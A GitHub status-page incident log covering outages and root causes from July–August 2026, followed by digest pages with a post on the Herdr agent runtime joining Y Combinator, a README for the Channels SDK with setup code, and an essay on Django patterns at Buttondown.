Investigating - We are investigating reports of degraded performance for Actions
Aug 6, 15:22 UTC

Aug 6, 2026

Incident with Pages - Deployment Lag

Resolved - This incident has been resolved. Thank you for your patience and understanding as we addressed this issue. A detailed root cause analysis will be shared as soon as it is available.
Aug 6, 16:22 UTC

Monitoring - The degradation affecting Pages has been mitigated. We are monitoring to ensure stability.
Aug 6, 15:50 UTC

Investigating - We are investigating reports of degraded performance for Pages
Aug 6, 15:03 UTC

Aug 5, 2026

Some Copilot Cloud Agent jobs not starting

Resolved - On August 5, 2026, between 11:02 and 11:54 UTC, the GitHub Copilot cloud agent service was degraded and new cloud agent jobs were delayed from starting. During this period 100% of newly submitted agent jobs were affected. The incident was limited to delay of cloud agent jobs. No jobs were lost and the queued backlog was processed by 13:00 UTC. This was due to an internal rate limit used to protect service availability that was enabled more broadly than intended delaying more traffic than expected.

The service recovered when the rate limit window expired. We then tuned the control so it no longer affected unrelated coding agent traffic.

We are working to improve the control's scoping and our monitoring and alerting to reduce our time to detection and mitigation of similar issues in the future.
Aug 5, 13:00 UTC

Update - Copilot cloud agent jobs have recovered and the backlog of delayed jobs is being processed.
Aug 5, 12:10 UTC

Monitoring - The degradation has been mitigated. We are monitoring to ensure stability.
Aug 5, 12:01 UTC

Investigating - We are investigating reports of impacted performance for some GitHub services.
Aug 5, 11:38 UTC

Aug 4, 2026

No incidents reported.

Aug 3, 2026

Incident with Copilot

Resolved - This incident has been resolved. Thank you for your patience and understanding as we addressed this issue. A detailed root cause analysis will be shared as soon as it is available.
Aug 3, 11:25 UTC

Monitoring - The degradation affecting Copilot has been mitigated. We are monitoring to ensure stability.
Aug 3, 11:19 UTC

Update - We are still seeing intermittent errors with Copilot, and are continuing to investigate and consider mitigations.
Aug 3, 10:35 UTC

Update - We are experiencing degraded availability for chat & agent models in Copilot. Multiple models are impacted and customers may experience requests failing. We are investigating and will provide an update as soon as possible.
Aug 3, 09:54 UTC

Investigating - We are investigating reports of degraded performance for Copilot
Aug 3, 09:53 UTC

Aug 2, 2026

No incidents reported.

Aug 1, 2026

Incident with Copilot AI Model Providers

Resolved - This incident has been resolved. Thank you for your patience and understanding as we addressed this issue. A detailed root cause analysis will be shared as soon as it is available.
Aug 1, 18:44 UTC

Update - The issues with our upstream model provider have been resolved, and Fable 5 is once again available in Copilot products and IDE surfaces.

We will continue monitoring to ensure stability, but mitigation is complete.
Aug 1, 18:23 UTC

Monitoring - The degradation affecting Copilot AI Model Providers has been mitigated. We are monitoring to ensure stability.
Aug 1, 18:20 UTC

Update - We are experiencing degraded availability for the Fable 5 model in Copilot products and IDE surfaces. This is due to an issue with an upstream model provider. While we work with them to resolve the issue, we recommend choosing another model or selecting 'Auto' to continue using Copilot.
Aug 1, 18:20 UTC

Update - We are seeing increased error rates from specific upstream AI Model Providers
Aug 1, 18:03 UTC

Investigating - We are investigating reports of degraded performance for Copilot AI Model Providers
Aug 1, 18:03 UTC

Degraded availability GPT 5.6 Luna

Resolved - This incident has been resolved. Thank you for your patience and understanding as we addressed this issue. A detailed root cause analysis will be shared as soon as it is available.
Aug 1, 12:30 UTC

Update - The issues with our upstream model provider have been resolved, and GPT-5.6 Luna is once again available in Copilot products and IDE surfaces.
We will continue monitoring to ensure stability, but mitigation is complete.
Aug 1, 12:29 UTC

Update - We keep working with our upstream model provider, and are observing recovery. We continue monitoring to ensure stability.
Aug 1, 12:13 UTC

Update - We are experiencing degraded availability for the GPT-5.6 Luna model in Copilot products and IDE surfaces. This is due to an issue with an upstream model provider. While we work with them to resolve the issue, we recommend choosing another model or selecting 'Auto' to continue using Copilot
Aug 1, 11:20 UTC

Investigating - We are investigating reports of degraded performance for Copilot AI Model Providers
Aug 1, 11:16 UTC

Jul 31, 2026

No incidents reported.

Jul 30, 2026

Copilot model Claude Fable 5 experiencing elevated errors

Resolved - On July 30, 2026, the Claude Fable 5 model in GitHub Copilot experienced degraded availability for approximately 73 minutes, from 08:33 to 09:46 UTC. During this time, requests to Claude Fable 5 in Copilot chat and IDE surfaces frequently failed or timed out. This was caused by an issue with an upstream model provider. Other Copilot models were not affected, and users could continue working by selecting another model or 'Auto'. Availability for Claude Fable 5 fully recovered once the provider resolved their outage at 09:46 UTC, and we confirmed resolution at 10:12 UTC.
Jul 30, 10:12 UTC

Update - The issues with our upstream model provider have been resolved, and Claude Fable 5 is once again available in Copilot products and IDE surfaces.

We will continue monitoring to ensure stability, but mitigation is complete.
Jul 30, 10:11 UTC

Update - We are experiencing degraded availability for the Claude Fable 5 model in Copilot products and IDE surfaces. This is due to an issue with an upstream model provider. While we work with them to resolve the issue, we recommend choosing another model or selecting 'Auto' to continue using Copilot.
Jul 30, 09:17 UTC

Investigating - We are investigating reports of degraded performance for Copilot AI Model Providers
Jul 30, 09:07 UTC

Jul 29, 2026

Incident with Copilot AI Model Providers

Resolved - This incident has been resolved. Thank you for your patience and understanding as we addressed this issue. A detailed root cause analysis will be shared as soon as it is available.
Jul 29, 21:51 UTC

Update - The external ai model provider has resolved the issues, and we have verified Copilot's traffic is fully recovered.
Jul 29, 21:51 UTC

Update - The external AI model provider is continuing to investigate.
Jul 29, 21:08 UTC

Update - The external AI model provider has identified the issue and is working to resolve.
Jul 29, 20:38 UTC

Update - We are investigating increased error rates affecting GitHub Copilot requests to external AI model providers. Some users may experience failures or degraded performance when using Copilot features.
Jul 29, 20:18 UTC

Update - We are seeing increased error rates with requests to specific model providers.
Jul 29, 20:07 UTC

Investigating - We are investigating reports of degraded performance for Copilot AI Model Providers
Jul 29, 20:07 UTC

Incident with Actions

Resolved - On July 29, 2026, from 14:51 UTC to 15:28 UTC, GitHub Actions experienced elevated REST API request timeouts and errors, failures registering runners, and delayed workflow run starts for customers whose traffic was served by a single infrastructure site. This was caused by an under-provisioned internal Actions service in that site: under increased load its instances ran out of memory and became unresponsive, and because Actions API requests wait synchronously on that service, requests routed through the affected site stalled and timed out. During the incident, approximately 2% of workflows were delayed. Requests served by other sites remained unaffected. Both standard and larger hosted runners routed through the affected site could see delayed job starts.

The issue was mitigated by scaling out the runner-administration service in the affected site and increasing the replica count, which restored API availability and returned workflow run starts to normal. We are working to add horizontal autoscaling, memory-saturation alerting, and scaling-forecast monitoring for this service, along with responder playbooks, to reduce the likelihood of similar issues in the future.
Jul 29, 16:00 UTC

Monitoring - The degradation affecting Actions has been mitigated. We are monitoring to ensure stability.
Jul 29, 15:40 UTC

Update - We are investigating an issue affecting GitHub Actions. Some customers may experience timeouts or failures with runner registration and workflow runs may be delayed during startup. Our team is actively working to mitigate the impact by scaling capacity across additional infrastructure.
Jul 29, 15:34 UTC

Investigating - We are investigating reports of degraded availability for Actions
Jul 29, 15:26 UTC

Jul 28, 2026

No incidents reported.

Jul 27, 2026

Incident with GraphQL API Requests

Resolved - This incident has been resolved. Thank you for your patience and understanding as we addressed this issue. A detailed root cause analysis will be shared as soon as it is available.
Jul 27, 04:09 UTC

Monitoring - The degradation affecting API Requests has been mitigated. We are monitoring to ensure stability.
Jul 27, 04:09 UTC

Investigating - We are investigating reports of degraded performance for API Requests
Jul 27, 03:53 UTC

Jul 26, 2026

No incidents reported.

Jul 25, 2026

Actions run failures and delays

Resolved - Please refer to the combined summary in this related incident: https://www.githubstatus.com/incidents/s65j9gslmfm8
Jul 25, 13:13 UTC

Update - We have seen recovery in GitHub Actions performance following our earlier mitigation. Workflow runs are processing normally, though jobs queued before 12:40 UTC may still experience failures and will need to be retried.
Jul 25, 13:12 UTC

Monitoring - The degradation affecting Actions has been mitigated. We are monitoring to ensure stability.
Jul 25, 12:59 UTC

Update - We have applied a mitigation for the infrastructure issue affecting GitHub Actions. Workflow run failures and delays are improving but not yet fully resolved. Our engineering team continues to work on restoring full functionality across all affected infrastructure.
Jul 25, 12:58 UTC

Update - We are experiencing issues with GitHub Actions that are causing workflow run failures and delays for some users. Our engineering team is actively investigating the infrastructure issue and working to restore full functionality.
Jul 25, 12:34 UTC

Investigating - We are investigating reports of degraded availability for Actions
Jul 25, 12:31 UTC

Several GPT models degraded

Resolved - On July 25, 2026, between 09:07 and 10:04 UTC, the GPT-5.2, GPT-5.3-Codex, GPT-5.4, GPT-5.4 Mini, GPT-5.6 Sol, GPT-5.6 Terra and GPT-5.6 Luna models experienced degraded availability in GitHub Copilot products and IDE surfaces. Requests to these models had an average failure rate of 5.6%. Other Copilot models remained available as alternatives.

The degradation was caused by an issue with an upstream model provider. Success rates returned to normal after the upstream issue was mitigated, and we continued monitoring before resolving the incident. We are working on improving the automated failover for the affected models to prevent similar incidents in the future.
Jul 25, 10:11 UTC

Monitoring - The degradation affecting Copilot AI Model Providers has been mitigated. We are monitoring to ensure stability.
Jul 25, 10:04 UTC

Update - We are experiencing degraded availability for the GPT-5.2, GPT-5.3-Codex, GPT-5.4, GPT-5.4 Mini, GPT-5.6 Sol, GPT-5.6 Terra, and GPT-5.6 Luna models in Copilot products and IDE surfaces. This is due to an issue with an upstream model provider. While we work with them to resolve the issue, we recommend choosing another model or selecting 'Auto' to continue using Copilot.
Jul 25, 09:48 UTC

Investigating - We are investigating reports of degraded availability for Copilot AI Model Providers
Jul 25, 09:42 UTC

Incident with Actions

Resolved - On July 25, 2026, GitHub Actions experienced two related periods of degradation that caused some workflow runs to be delayed by more than 5 minutes or end with infrastructure failures.

First period (08:45 – 09:13 UTC): During planned maintenance on a critical-path Redis cluster for Actions, one participating region was left in a degraded state. Separately, an independent capacity operation temporarily removed another region from the cluster and redirected its traffic to the degraded region. This created cross-region inconsistencies in job-assignment state, causing workflow runs to be delayed, exhaust retries, or fail outright. At peak, about 7% of runs were delayed by more than 5 minutes, and 25% of runs failed with an infrastructure error during the course of the incident. We mitigated the incident at 09:13 UTC by returning traffic to its normal distribution.

Second period (12:08 – 12:48 UTC): As part of mitigating the first incident, traffic was returned to the regional instance that was still undergoing its capacity increase. Multiple Redis nodes in the scaling region experienced failures, increasing traffic to healthy nodes and causing connection limits to be reached on many nodes. At peak, 30% of runs were delayed by more than 5 minutes, and 60% of runs failed with an infrastructure error during the course of the incident. We mitigated the incident at 12:48 UTC by redirecting workflow traffic away from the scaling region.

We are adding stronger regional health and capacity checks before maintenance and requiring a stable observation period before restoring traffic. We are also improving automated connection resiliency, and partnering with our platform dependency to automatically detect and remediate unhealthy cluster members and shard imbalance. More generally, we already had work underway to improve the resiliency and scale of this piece of Actions infrastructure.
Jul 25, 09:25 UTC

Update - We identified an issue causing delays in GitHub Actions run starts. Some users may have experienced longer than expected wait times when triggering workflow runs. We have applied mitigations and have recovered. Our team continues to monitor and investigate the root cause.
Jul 25, 09:20 UTC

Monitoring - The degradation affecting Actions has been mitigated. We are monitoring to ensure stability.
Jul 25, 09:13 UTC

Investigating - We are investigating reports of degraded performance for Actions
Jul 25, 08:59 UTC

Jul 24, 2026

Incident with Pull Requests

Resolved - Between July 24, 19:17 UTC and July 24, 20:02 UTC, users were unable to create pull requests due to a database schema change. In total, 113,930 pull request creation attempts were impacted across 50,904 users, with an average error rate of 1.75% and a maximum error rate of 2.25% for all requests to Pull Requests service. Existing pull requests and other GitHub functionality were not affected. The issue was resolved by reverting the change to the affected database, upon which pull request creation immediately resumed.

The root cause was related to a backfill workflow into the Vitess keyspace hosting Pull Request data. The backfill Vitess command encountered errors and increased VReplication lag, and the workflow was canceled at 19:17 UTC. The cancellation executed a misunderstood Vitess codepath that dropped the backing table to the target keyspace, leaving a non-existent reference that resulted in errors creating Pull Requests. The mitigation was executing a command to drop the vschema reference to the dropped table, allowing Pull Request creation to resume.

We are adding stronger pre-flight validation to our tooling to prevent similar issues and expanding lower-environment support to provide better test coverage end-to-end before promoting them to production. We're also fixing our backfill migration tooling to protect from this specific codepath.
Jul 24, 20:23 UTC

Monitoring - The degradation affecting Pull Requests has been mitigated. We are monitoring to ensure stability.
Jul 24, 20:02 UTC

Update - We have applied a mitigation and are monitoring for recovery
Jul 24, 19:59 UTC

Update - Pull Requests is experiencing degraded availability. We are continuing to investigate.
Jul 24, 19:43 UTC

Update - We are investigating errors creating pull requests
Jul 24, 19:40 UTC

Investigating - We are investigating reports of degraded performance for Pull Requests
Jul 24, 19:37 UTC

Disruption with some GitHub services

Resolved - On July 24th at 16:04 UTC, a loss of connectivity occurred in network paths in one of our three physical data center availability zones (AZs). This resulted in packet loss due to the remaining active paths becoming saturated. Our data centers use a leaf-spine switch fabric in each compute cage, and an aggregation layer interconnecting the spines from each cage within each AZ. The loss of connectivity affected links between one cage’s spine switches and the aggregation layer within that specific AZ.

Workloads depending on compute resources in this cage became degraded due to packet loss, and exhibited intermittent errors:

  • Actions saw 10% of jobs fail during the impact window, and 5% of jobs succeeded but with delayed starts.
  • 27% of GitHub issues interactions saw slow requests or timeouts.
  • 4% of GitHub Copilot requests experienced errors, though most automatically retry.
  • 4% of git push operations saw impacts during the affected window.
  • Authentication requests saw increased latency during the affected window, but error rates, while elevated, were < 1% in all cases.

We were able to mitigate the outage by re-routing affected connections to available fiber paths that were allocated for future capacity upgrades. Sufficient network capacity to eliminate packet loss was restored at 17:07, with most services showing full recovery by 17:16. All paths were restored and services healthy at 17:36.

This incident affected 25% of available network interconnect capacity. Older cages utilize a 100Gbps network interface standard. To remove risk of reoccurrence, a planned upgrade to 400Gbps interfaces is being accelerated as much as possible, ensuring increased bandwidth available at all layers of the switch fabric for resiliency to path or device loss.
Jul 24, 17:36 UTC

Update - We are seeing recovery across all services
Jul 24, 17:24 UTC

Update - The degradation affecting API Requests, Actions, Copilot, Issues, Pages and Pull Requests has been mitigated. We are monitoring to ensure stability.
Jul 24, 17:16 UTC

Update - Actions is experiencing degraded performance. We are continuing to investigate.
Jul 24, 16:41 UTC

Update - We have applied a mitigation and are monitoring for recovery
Jul 24, 16:40 UTC

Update - Actions is experiencing degraded availability. We are continuing to investigate.
Jul 24, 16:28 UTC

Update - Pages is experiencing degraded performance. We are continuing to investigate.
Jul 24, 16:27 UTC

Update - Copilot is experiencing degraded performance. We are continuing to investigate.
Jul 24, 16:26 UTC

Update - We are investigating timeouts to some GitHub services
Jul 24, 16:22 UTC

Update - Pull Requests is experiencing degraded performance. We are continuing to investigate.
Jul 24, 16:20 UTC

Update - Actions is experiencing degraded performance. We are continuing to investigate.
Jul 24, 16:19 UTC

Investigating - We are investigating reports of degraded performance for API Requests and Issues
Jul 24, 16:17 UTC

Incident With Blocked GitHub.com Traffic

Resolved - Between July 23, 2026 at 18:45 UTC and July 24, 2026 at 11:19 UTC, an abuse mitigation update caused some legitimate customers whose traffic was routed through our Central Europe and South America edge locations to be incorrectly blocked from GitHub.com. We estimate that approximately 0.25% of GitHub.com requests were affected during this period.

This was caused by an abuse mitigation configuration that incorrectly classified legitimate traffic. We mitigated the incident by reverting the update. We are adding validation and safeguards to prevent similar incorrect blocking in the future.
Jul 24, 11:00 UTC

The Daily Front Page 12 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — Open Runtime, New Backer
article

Herdr is joining Y Combinator. The runtime stays open

by collinmanderson·▲ 181 points·121 comments·herdr.dev ↗
I am the bottleneck

Hey everyone, it’s Can, the only person behind Herdr. This post is about how I decided to change that.

Four months ago I was looking for another job. Thinking about where to go career-wise. Thinking about software engineering and its future in general, my hobby projects, applications, whiteboard interviews (I still can’t believe we do those). And at some point it hit me: I am the bottleneck.

This is a management and engineering problem. I don’t want to install an app or learn a new tool just to manage my agents and my development style. I want something that fits me. You know how every company releases their own agent these days? No, don’t do that. Let my agent integrate with your product, don’t offer me another agent.

Same idea here. I didn’t like what I tried, so why not build it? So I built a runtime. But what is a runtime?

Runtime

CLI coding agents run in terminals, and terminals have always been our home: editing code (yes, nvim chads), running servers, navigating projects, maintaining CI, machines, configurations. It’s the root. It’s the connection. So agents need first class primitives there.

A terminal pane belongs to an agent. A pane belongs to a tab. Tabs belong to a project.

They need to be persistent. We have agents running for hours now, sometimes days. And once you have the runtime, where they run stops mattering. You should be able to run them anywhere and keep them running.

That’s where Herdr was born. But a runtime without an interface is nothing, so: the TUI.

TUI

The TUI is the UI I use every day, and it carried Herdr this far. Not because it’s a UI, but because it shows the concepts Herdr believes in: tracking agents at a glance, dividing work between projects instead of getting lost in a pile of agents, being alerted only when an agent actually needs you.

It also has one big advantage, and it’s the reason it stays first class forever: it’s bundled. Install Herdr on your VPS, ssh in, and your UI is already there. Or run herdr --remote user@host and it installs itself. Depending on your network speed, you’re a couple of seconds away from an agent running. One command and you’re in. Nothing beats that.

Still, the TUI was never meant to be the only client. A runtime means people can build on top of it, and people did! A Raycast extension, a Stream Deck with buttons for herdr, an iOS app that drives a whole session from a phone. More than 500 plugins, one month after the marketplace released. I didn’t build any of these.

The TUI has its limits too. Some of the ideas in my head are hard to build inside a terminal, and I trust terminals, but Herdr will need more clients. More on that later.

Where we are now

So a solo project reached 25k stars and 340k downloads, and it became more than one person can carry.

Herdr is joining Y Combinator, F26 batch. I’m excited to make Herdr a company that builds a developer tool for anyone juggling agents all day. I want to build a small team: people who keep the runtime healthy, robust, fast, running anywhere easily, and more extensible. Letting you do more while Herdr stays small.

The runtime, what you use right now, stays free. Apache-2.0. That’s why I recently switched it from AGPL to Apache: I want everyone to use Herdr freely, without any problem.

Where we’re going

I want to build on top of the open Herdr runtime like everyone else. I’ll keep supporting the open source while building the features people really need. The demand is already visible: multiple clients, a laptop, a VPS for the six hour job, a sandbox for risky code and ephemeral agents. Herdr can run anywhere today, but those machines are disconnected.

It should be connected.

There are many more features in my head, but I don’t want to rush. People keep telling me they love that Herdr stays lean, and that’s what I want to protect. In an age where adding one more feature costs nothing, choosing what goes in the core is the most important decision, I believe. So the core stays small, and everything else stays possible through extensions: your style, your flows, your company’s setup, your themes, your crazy ideas.

Thank you for getting Herdr this far. Thanks for the support, for sharing the love. You have no idea how grateful I am.

Anyway, back to work.

A ram, asleep above the clouds. Or working, hard to tell.

The Daily Front Page 13 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — Agents at Work
show hn

Show HN: The Channels SDK – Bring Any Agent to Any Channel (Slack, MS Teams)

by davidmckayv·▲ 98 points·21 comments·github.com ↗
Bring any AI agent into Slack, Microsoft Teams, and the channels where work happens

Any agent. Any channel.

Bring any AI agent into Slack, Microsoft Teams, and the channels where work happens — with native, interactive UI.

Try Channels · Build with the SDK · Explore OpenTag

channels-sdk.demo.mp4

Your agent keeps its tools, model, and business logic. Channels gives it a native place to work with people.

Your agent belongs where work happens

Channels connects an AG-UI-compatible agent to the communication platforms your team already uses. The agent can understand the conversation, stream a response, call tools, work with files, render interactive UI, and pause for human approval.

One interaction, native to every channel

An agent triages a bug report and asks for approval in Slack An agent analyzes a spreadsheet and returns metrics in Microsoft Teams An agent reads deployment logs and renders a chart in Discord

Channels is built for a world where the same agent can meet users across every communication surface. Managed connections for Slack and Microsoft Teams are available through CopilotKit Intelligence, with more channels on the way.

Try it before you build it

Experience a real Channels agent in Slack or Microsoft Teams without configuring an app, runtime, or provider credentials.

Try Channels →

Choose a platform, join the experience, and see how an agent handles context, tool use, and native channel UI.

Build your first Channel

Your agent and application logic run in your infrastructure. CopilotKit Intelligence manages the platform connection and delivers each turn to your long-running Channels process.

Fastest path: let your coding agent drive

Building a Channels agent spans a project, an agent, a managed Channel, a provider app, and a long-running runtime. One guide walks your agent through all of it.

npx copilotkit@latest channels setup

That installs the channels-setup skill, prints a prompt, and copies it to your clipboard. Paste it into your coding agent.

The skill is a pointer — it fetches the workflow from copilotkit.ai/channels-guide.md when your agent needs it, so the steps are current even if the installed skill is months old. The guide asks which platform you want, Slack or Microsoft Teams, and which agent framework.

Your agent drives the Slack and Intelligence consoles itself, in your own signed-in session. If it has no browser or computer-use tool yet, it will ask you to add one first — that is the intended path, not a fallback. You type the secrets; it does the clicking.

Or install the Slack setup skill on disk

Skip the hosted guide and put the Slack workflow directly in the coding agent you are already running in:

npx copilotkit@latest skills install --skill setup-slack-channel -y

-y installs that one skill without opening a picker. The skill is scoped to Slack — for Microsoft Teams, use the guide above.

The CLI covers the Intelligence side: copilotkit channels add --adapter slack declares the Channel and attaches the adapter, and copilotkit channels status compares your configuration, your code, and the server. What stays in the browser is the provider side — creating the Slack app and installing it into a workspace — plus issuing the project API key. No CLI flag accepts a credential value, so the bot token and signing secret stay in your .env and with you.

Unknown option '--skill'? An older copilotkit — globally installed or left in the npx cache — is shadowing the current CLI. Keep the @latest; that is what forces npx to fetch the current version instead of reusing what it already has.

The steps below are the same path, done by hand.

1. Configure the connection

Create a Channel in CopilotKit Intelligence and connect Slack. Keep the Channel Code and project-scoped Intelligence API key for the next steps.

You need Node.js 22 or later and a long-running Node process or container.

2. Install the SDK

npm install @copilotkit/channels @copilotkit/runtime
npm install --save-dev tsx typescript @types/node
npm pkg set type=module

Channels and Runtime ship together as a tested pair. Upgrade both packages together.

3. Create the listener

The example below uses CopilotKit's built-in agent. Replace makeAgent with any AG-UI-compatible agent factory without changing the Channel lifecycle.

// channel.ts
import { createServer } from "node:http";
import { createChannel } from "@copilotkit/channels";
import {
  BuiltInAgent,
  CopilotKitIntelligence,
  CopilotRuntime,
} from "@copilotkit/runtime/v2";
import { createCopilotNodeListener } from "@copilotkit/runtime/v2/node";

function required(name: string): string {
  const value = process.env[name];
  if (!value) throw new Error(`Missing required environment variable: ${name}`);
  return value;
}

function makeAgent(threadId: string) {
  const agent = new BuiltInAgent({ model: "openai:gpt-5.4-mini" });
  agent.threadId = threadId;
  return agent;
}

const channel = createChannel({
  name: required("CHANNEL_CODE"),
  identifyUser: "platform",
  agent: makeAgent,
});

channel.onMessage(async ({ thread, message }) => {
  await thread.runAgent({
    prompt: message.contentParts?.length
      ? [
          ...(message.text
            ? [{ type: "text" as const, text: message.text }]
            : []),
          ...message.contentParts,
        ]
      : message.text,
    context: [{ description: "Originating platform", value: message.platform }],
  });
});

const intelligence = new CopilotKitIntelligence({
  apiKey: required("INTELLIGENCE_API_KEY"),
});

const runtime = new CopilotRuntime({
  agents: {},
  intelligence,
  identifyUser: () => ({
    id: "channels-runtime",
    name: "Channels Runtime",
  }),
  channels: [channel],
});

const listener = createCopilotNodeListener({
  runtime,
  basePath: "/api/copilotkit",
});

const channels = listener.channels;
if (!channels) throw new Error("Channels control surface was not created.");

const server = createServer(listener);
const shutdown = async () => {
  await channels.stop();
  if (server.listening) server.close();
};
process.once("SIGINT", shutdown);
process.once("SIGTERM", shutdown);

await channels.ready({ timeoutMs: 30_000 });

const status = channels.status();
if (status.overall !== "online") {
  throw new Error(`Channel is not online: ${JSON.stringify(status)}`);
}

const port = Number(process.env.PORT ?? 3000);
server.listen(port, () => {
  console.log(`Channel online; lifecycle server listening on :${port}`);
});

4. Start it

# .env
OPENAI_API_KEY=<openai-api-key>
INTELLIGENCE_API_KEY=<project-api-key>
CHANNEL_CODE=<channel-code-from-intelligence>
PORT=3000
node --env-file=.env --import tsx channel.ts

When Intelligence reports Online, invite the app to a Slack channel and mention it. Your agent now receives the conversation and responds in the thread.

Want Microsoft Teams, a different agent framework, interactive approvals, files, or production deployment guidance? Continue in the Channels documentation.

Rather have your agent do it? Run npx copilotkit@latest channels setup from Fastest path above. The guide covers this same setup plus the provider and verification steps.

How it works

Channels architecture connecting any agent through CopilotKit and AG-UI to communication platforms

Every turn follows the same path:

  1. A person messages your app in Slack or Microsoft Teams.
  2. CopilotKit Intelligence receives the platform event and delivers it to your Channels process.
  3. Channels runs your agent over AG-UI, executes tools, and renders the result.
  4. Intelligence sends native platform UI back into the conversation.

The SDK is open source and MIT licensed. CopilotKit Intelligence can be hosted by CopilotKit or self-hosted for enterprise deployments.

See a complete Channels app

OpenTag is an open-source, self-hosted on-call triage assistant built with Channels.

Use it to study a complete application with:

  • a Python LangGraph agent connected over AG-UI
  • native Slack and Microsoft Teams experiences
  • file-aware prompts and generative UI
  • human approval before Linear or Notion writes
  • a production-shaped Node runtime and agent service

Explore the OpenTag source →

Developer resources

I want to… Start here Experience Channels without setup Try Channels Build a Channel with my coding agent npx copilotkit@latest channels setup Build my first Channel Channels documentation Inspect the SDK implementation Channels source in CopilotKit Install the package @copilotkit/channels on npm Study a complete application OpenTag Connect an existing agent AG-UI integrations Understand the protocol AG-UI

License

MIT © CopilotKit

The Daily Front Page 14 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — The Virtues of Boring
article

What I love about Django

by j4mie·▲ 131 points·110 comments·buttondown.com ↗
The best parts of Django are the ones you stop noticing

The best parts of Django are the ones you stop noticing — a tour of the abstractions that have given Buttondown the most leverage over the years.

What I love about Django

My goal at the onset of writing this essay was to celebrate the parts of Django that I, in Buttondown writ large, have found so useful and so enduring over the years.

One of the challenges in doing this is what I would describe as a fundamental asset of Django itself: that it is just the right level of opinionated and structured such that it becomes, over time, invisible. And I found it hard at first to squint at our codebase and point to "quote-unquote" Django things, because the Django part of the application blends so smoothly into the aspects that are simply Pythonic or simply business logic.

I do not look at Buttondown and see a Django app; I see a well-structured codebase with many things that have been solved by smarter people than myself. This, more than anything else, is what I love about Django.

However poetic that might be, it makes for a short and boring blog post. So I put on a combination of thinking cap and x-ray goggles and really took a look at: what parts of Django brought us the most long-term leverage over the past few years?

1. Middlewares

Django's middleware abstraction is incredibly simple, and thereby incredibly powerful. I think folks like me who really matured during the middleware-as-function versus middleware-as-class migration take for granted that, regardless of the actual Python primitive, Django middlewares are simple functions that act on the request/response lifecycle. All they need to do is adopt that protocol, and they can do whatever they want within it. It turns out this kind of request hook is extremely useful for a number of things: routing a request to the right newsletter based on its subdomain, capturing UTM and referrer attribution, setting Content-Security-Policy headers, recording pageviews, binding request context onto our structured logs, and — below — stamping the deployed build version.

Here's the entirety of the one that stamps every response with the deployed git SHA, so a stale browser tab can notice a newer build has shipped:

# app/emails/middlewares/build_version.py
class Middleware:
    def __init__(self, get_response: Callable[[HttpRequest], HttpResponse]) -> None:
        self.get_response = get_response

    def __call__(self, request: HttpRequest) -> HttpResponse:
        response = self.get_response(request)
        if settings.HEROKU_SLUG_COMMIT and not flag_is_active(CIRCUIT_BREAKER_FLAG):
            response[BUILD_VERSION_HEADER] = settings.HEROKU_SLUG_COMMIT
        return response

If there's one tool that I think the median Django developer should take more advantage of, it's middlewares.

2. Models (and light inheritance)

We shy away from polymorphic models, partially because we think they're a bit of a footgun, but more realistically because we just don't have many use cases that adapt well for them. However, every single model in Buttondown inherits from a base model. A trimmed version of it looks like this:

# app/utils/models.py
class BaseModel(models.Model):
    creation_date = models.DateTimeField(auto_now_add=True)
    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
    objects = TypeIDAwareManager()

    def save(self, *args, **kwargs):
        super().save(*args, **kwargs)
        # For any tracked field that actually changed, fire its
        # handle_<field>_change hook and persist a transition row.
        ...

    class Meta:
        abstract = True
        ordering = ("-creation_date",)

That base class is quietly doing a lot, all of it opt-in and additive:

  • A UUID primary key and a creation_date on every table, for free.
  • Public, type-prefixed IDs (sub_..., em_...) that the ORM decodes transparently, via a custom manager and queryset.
  • Implicit change tracking: define handle_<field>_change and it runs whenever that field changes — no signal, no registration.
  • Durable provenance: map a field to a transition table and every change is written as its own row.
  • Per-field validation hooks (validate_<field>).
  • An opt-in soft-delete manager, and hooks into our data-integrity checker system.

It seems like an odd thing to surface in this post, but what was so convenient about Django's approach to object-orientation was that all of this was piecemeal. Grafting on new bits of common functionality did not require any significant amount of labor or migration or refactor. And it means being able to do things like provenance tracking for new fields is very, very simple — the model opts in with a single method, and the base class does the rest:

# app/emails/models/email/model.py
class Email(BaseModel):
    # Implicit change tracking: define handle_<field>_change and BaseModel
    # invokes it whenever that field actually changes. No signal, no wiring.
    def handle_body_change(self, **kwargs) -> None:
        AsynchronousAction.enqueue(sync_snippet_references, [str(self.id)])

    # Durable provenance: map a field to a transition table and every change
    # is persisted as a row. Adding one is a one-line dict entry.
    @classmethod
    def tracked_field_to_transition_class(cls) -> dict[str, type[BaseTransition]]:
        return {"status": EmailStatusTransition}

Neither of these required a migration to the base class or a refactor of any call site.

3. Actions

Rather than let model classes accrete dozens of methods, every behavior a model can undergo lives in its own file under an actions/ folder beside that model — one verb per module, each exposing a call(). Here's the whole of "ban a subscriber," which itself composes another action:

# app/emails/models/subscriber/actions/ban.py
from emails.models.subscriber.actions import end_premium_subscription
from emails.models.subscriber.model import Subscriber


def call(subscriber: Subscriber) -> None:
    if subscriber.subscriber_type == Subscriber.Type.PREMIUM.value:
        end_premium_subscription.call(str(subscriber.id))

    subscriber.subscriber_type = Subscriber.Type.REMOVED.value
    subscriber.save(update_fields=["subscriber_type", "modification_date"])

4. Views

Our approach to views is extremely doctrinaire and extremely simple. A view must:

  1. live in its own file
  2. be function-based rather than a CBV
  3. expose that function with the name of view
# app/emails/views/record_lifecycle_email_open.py
def view(request: HttpRequest, compressed_id: str) -> HttpResponse:
    try:
        account_id, email_type = _decode_open_payload(compressed_id)
    except (UnicodeDecodeError, Base64Error, ValueError):
        return HttpResponse(TRANSPARENT_GIF, content_type="image/gif")

    with transaction.atomic():
        LifecycleEmailEvent.objects.create(
            account_id=account_id,
            email_type=email_type,
            event_type=LifecycleEmailEvent.EventType.OPENED,
            timestamp=timezone.now(),
            metadata=_build_metadata(request),
        )
    return HttpResponse(TRANSPARENT_GIF, content_type="image/gif")

Why be so boring and or strict? Largely due to the pain of context switching. In my opinion, writing maintainable view code is more about avoiding failure than finding success, and failure tends to come in the forms of unnecessary indirection and lack of code re-use: both things made simpler by making views as "pure" (in the FP sense) as possible.

5. Testing

I've written a lot on my personal blog around tests, having spent much of my individual-contributor time over the past year working on making the CI pipeline — for which the backend test suite has long been the long pole — as fast as I can. We use pytest and pytest-django and an absolute slew of pytest plugins. Notably, we don't actually use an off-the-shelf fixture generator like Factory Boy or anything like that, instead constructing them ourselves in order to eke out more performance. A test is a plain function that takes the fixtures it needs and asserts against real rows:

